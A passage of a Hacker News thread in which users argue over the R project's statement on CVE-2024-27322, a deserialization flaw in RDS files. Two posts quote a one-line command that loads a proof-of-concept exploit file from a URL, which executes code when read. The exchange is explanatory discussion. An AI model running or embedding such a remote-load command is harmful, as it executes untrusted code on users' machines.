Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Statement on CVE-2024-27322

blog.r-project.org

Post reply on HN
Print view View original

31–40 of 51 posts

Re: Statement on CVE-2024-27322

#31

Post by fanf2 »

greentxt wrote: post #19
cmeacham98 wrote: post #8

Earlier quoted context omitted.

This is uncharitable. From what I can tell, these RDS files are a common way of sharing data among R users. I would be relatively surprised if reading someone else's dataset was able to execute arbitrary code. I think this is more like if reading a CSV via numpy could execute code.

CSV is CSV. A serialized object is a serialized object. The main concern they cite, are supply chain attacks. So it’s like saying loading a package can… load a package. Supply chain attacks will always be a thing. I’m grateful for the work of the researchers in question but don’t feel this is much of a blemish when it comes to R itself being insecure.

I think the researchers didn’t identify the main vulnerability. They should have talked about the risk of remote code execution from reading serialized objects from untrusted sources, when the R programmer thinks they are reading data but they are actually running code. This mistake has led to huge numbers of remote code execution vulnerabilities in all sorts of object deserialization libraries; it’s a much more common threat than supply chain attacks.

Re: Statement on CVE-2024-27322

#32

Post by ziddoap »

rfoo wrote: post #2

tl;dr R has its own pickle.load and someone decided to milk a CVE [1] out of this fact. [1] and a blog post for bragging, thankfully they didn't do a name and a logo.

>and a blog post for bragging, thankfully they didn't do a name and a logo.

I am still amazed on how many people on HN seem to get worked up over vulnerability names. God forbid someone also slaps a piece of clip art or whatever on the blog post. Worse yet, if they buy a $5 domain... the horror!

Maybe it's just me, but I'd much rather remember "Heartbleed" over "CVE-2014-0160".

Re: Statement on CVE-2024-27322

#33

Post by saghm »

nomilk wrote: post #18

> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language. Isn't this demonstrably false? I.e. run this [1] load(url(" https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda ")) and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux). When someone can easily cause their hidden system code t…

It's hard not to read the quote you give as basically admitting that they _can't_ entertain the idea that there are "wider security implications" because that would be tacitly admitting that the language itself is built on shaky foundations. Something being a "core feature" _increases_ the scope of any security implications, but it also makes it a lot harder to fix without having to change fundamental parts of the language, and it sounds like that would be a non-starter for them.

Re: Statement on CVE-2024-27322

#34

Post by ethbr1 »

armchairhacker wrote: post #25

I don’t know. R promises are extremely powerful. Not only can they run arbitrary code (e.g. shell commands), but they have arbitrary access over the caller environment (e.g. you can pass a lazy argument to a function that can list all variable names/values of variables in the function’s body and mutate some of them). I also don’t know if deserializing is 100% secure even now, because it only detects whether the root…

People whose day job is security probably have terms for this, but it seems important to distinguish theoretically-vulnerable and practically-vulnerable.

In the sense that for sufficiently complex ecosystems (read: all widely used programming ecosystems) each component may itself be theoretically secure... and yet the ways they are commonly used in practice are insecure.

>> Users should ensure that they only use R code and data from trusted sources and that the privileges of the account running R are appropriately limited.

IMHO, this is a cop-out. Abrogating responsibility for common use patterns in your ecosystems isn't how you make everyone more secure.

Better: 'What are our users actually doing?' -> 'Why are they doing that?' (usually: inconvenient UX around secure alternatives) -> 'How can we make it easier to use secure alternatives?'

Re: Statement on CVE-2024-27322

#35

Post by ethbr1 »

dfox wrote: post #20
dartos wrote: post #3

Have there been more CVEs lately, or did the whole Jia Tian thing make them rank higher on HN?

There have been more CVEs for the last 5 or so years. The reason is that "number of CVEs" is used in InfoSec community as kind of performance metric, so the "researchers" are incentivized to report total non-sense as security vulnerabilities. Second reason is that the whole "InfoSec" thing is viewed as an career choice where there is shitload of money to be made, which caused many people with questionable skills and…

On the other hand, scanners do flag CVEs (and therefore regulatory patch requirements are triggered by them).

So at the end of the day, it does apply patch pressure to regulated companies.

Re: Statement on CVE-2024-27322

#36

Post by sim7c00 »

A bit of a strange statement. It's OK guys, for your language to have security related bugs. Fixing the bug, shows it was in the core language and now, having fixed the bug, the language is more secure.

It does touch an interesting point, 'safeness' of a language itself. I think a lot of languages have bugs in their core libraries and implementaties, and you _could_ go as far as to say that language is then insecure.

But this is not really true. The language itself, is not its implementation. The design choices and concepts provided by R, i think, are not inherently insecure. Though, as this bug shows, implementation of those concepts, can be done, inadvertendly/unwittingly, in an insecure way.

I would like to encourage people to stop speaking about languages as safe/unsafe. This seems to popular today. The languages themselves are complicated to implement as hell, and there comes bugs with complex implementations.

Raise the bug, perhaps if severe, raise awareness of it. But don't shit on decades of diligent people's work because you found a bug and want your company or group to get some good marketing out of it. this is inherently unethical. These people are great programmers, likely much more advanced in their knowlege of languages and language implementation than some hacker who runs into a security hole. That should be respected and commended, and hackers can help these guys to improve their already awesome creations.

Thanks to the implementers, thanks to the hackers, and lets all be friendly and peaceful, and not try to exploit someones honest bug into some marketing opportunity by taking a shit right on their work.

Re: Statement on CVE-2024-27322

#38

Post by worthless-trash »

nomilk wrote: post #28
vitiral wrote: post #22

Earlier quoted context omitted.

Edit: apparently "load" is used to deserialize some data. Ya, this is bad, nevermind. I guess treat data stored in this format as code (effectively: don't use this format) unless it can be guaranteed safe. I'm not an R programmer, but aren't you downloading a file from the Internet and executing it? You could do the same thing with python/JavaScript/lua. Heck, you could do it with C - download, compile and then dynam…

> aren't you downloading a file from the Internet and executing it? Downloading, yes, executing, no, or at least not to 99% of R users’ knowledge prior to this recent occurrence. If a malicious user tries to smuggle something into a csv or json file that isn’t possible. But when reading in an RDS it’s trivial. I feel very uncomfortable about asking anyone to trust my code that much, even colleagues or friends, and I…

I thought that deserialization for more 'language' specific serialization has always had dangers.

Python: https://docs.python.org/3/library/pickle.html Ruby: CVE-2013-0156

I'm sure there is more.

If you're using a serialized format, you get serialized risks.

Re: Statement on CVE-2024-27322

#39

Post by sim7c00 »

nomilk wrote: post #18

> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language. Isn't this demonstrably false? I.e. run this [1] load(url(" https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda ")) and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux). When someone can easily cause their hidden system code t…

> We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language. Isn't this demonstrably false? I.e. run this [1]

>> This does not prove the concept of promises and/or serialization are inherently unsafe core features. It simply shows there's some implementation issues to address. You go further to talk about these implementation issues which is helpful and good, but it does nothing to prove unsafeness or unsoundness of the concepts of promises or serialization/deserialization etc.

How many languages have gotten and fixed such bugs. Are those languages unsafe/unsane or were their implementations simply buggy?

Though in practice the difference isn't there, as we use language implementations, not their ideal conceptual forms, but I do think its unfair to make such claims, and say that some exploit of a langauge implementation causes the concepts within the language to be inherently exploitable.

- might be missing something, but it seems there's 2 different streams being crossed? (you do make good points about implementation imho, nothing wrong there ofc! :))

Re: Statement on CVE-2024-27322

#40

Post by dfox »

ethbr1 wrote: post #35
dfox wrote: post #20

Earlier quoted context omitted.

There have been more CVEs for the last 5 or so years. The reason is that "number of CVEs" is used in InfoSec community as kind of performance metric, so the "researchers" are incentivized to report total non-sense as security vulnerabilities. Second reason is that the whole "InfoSec" thing is viewed as an career choice where there is shitload of money to be made, which caused many people with questionable skills and…

On the other hand, scanners do flag CVEs (and therefore regulatory patch requirements are triggered by them). So at the end of the day, it does apply patch pressure to regulated companies.

Autogenerated security audits that flag totally irellevant CVEs are another symptom of the same problem. Such scans usually only compare the version of the package in question, which breaks badly when distributions backport security patches and leads to complete irrelevant results when the "vulnerability" in question pertain to configuration that is not used (good example of that are CVEs for the mail-proxy component of nginx, which I assume most people do not even know exists, yet alone deploy). In the end the main effect is that if there was some real security issue, it would get buried deep in all that pointless busy-work that InfoSec comunity generates for everybody else.
Post reply on HN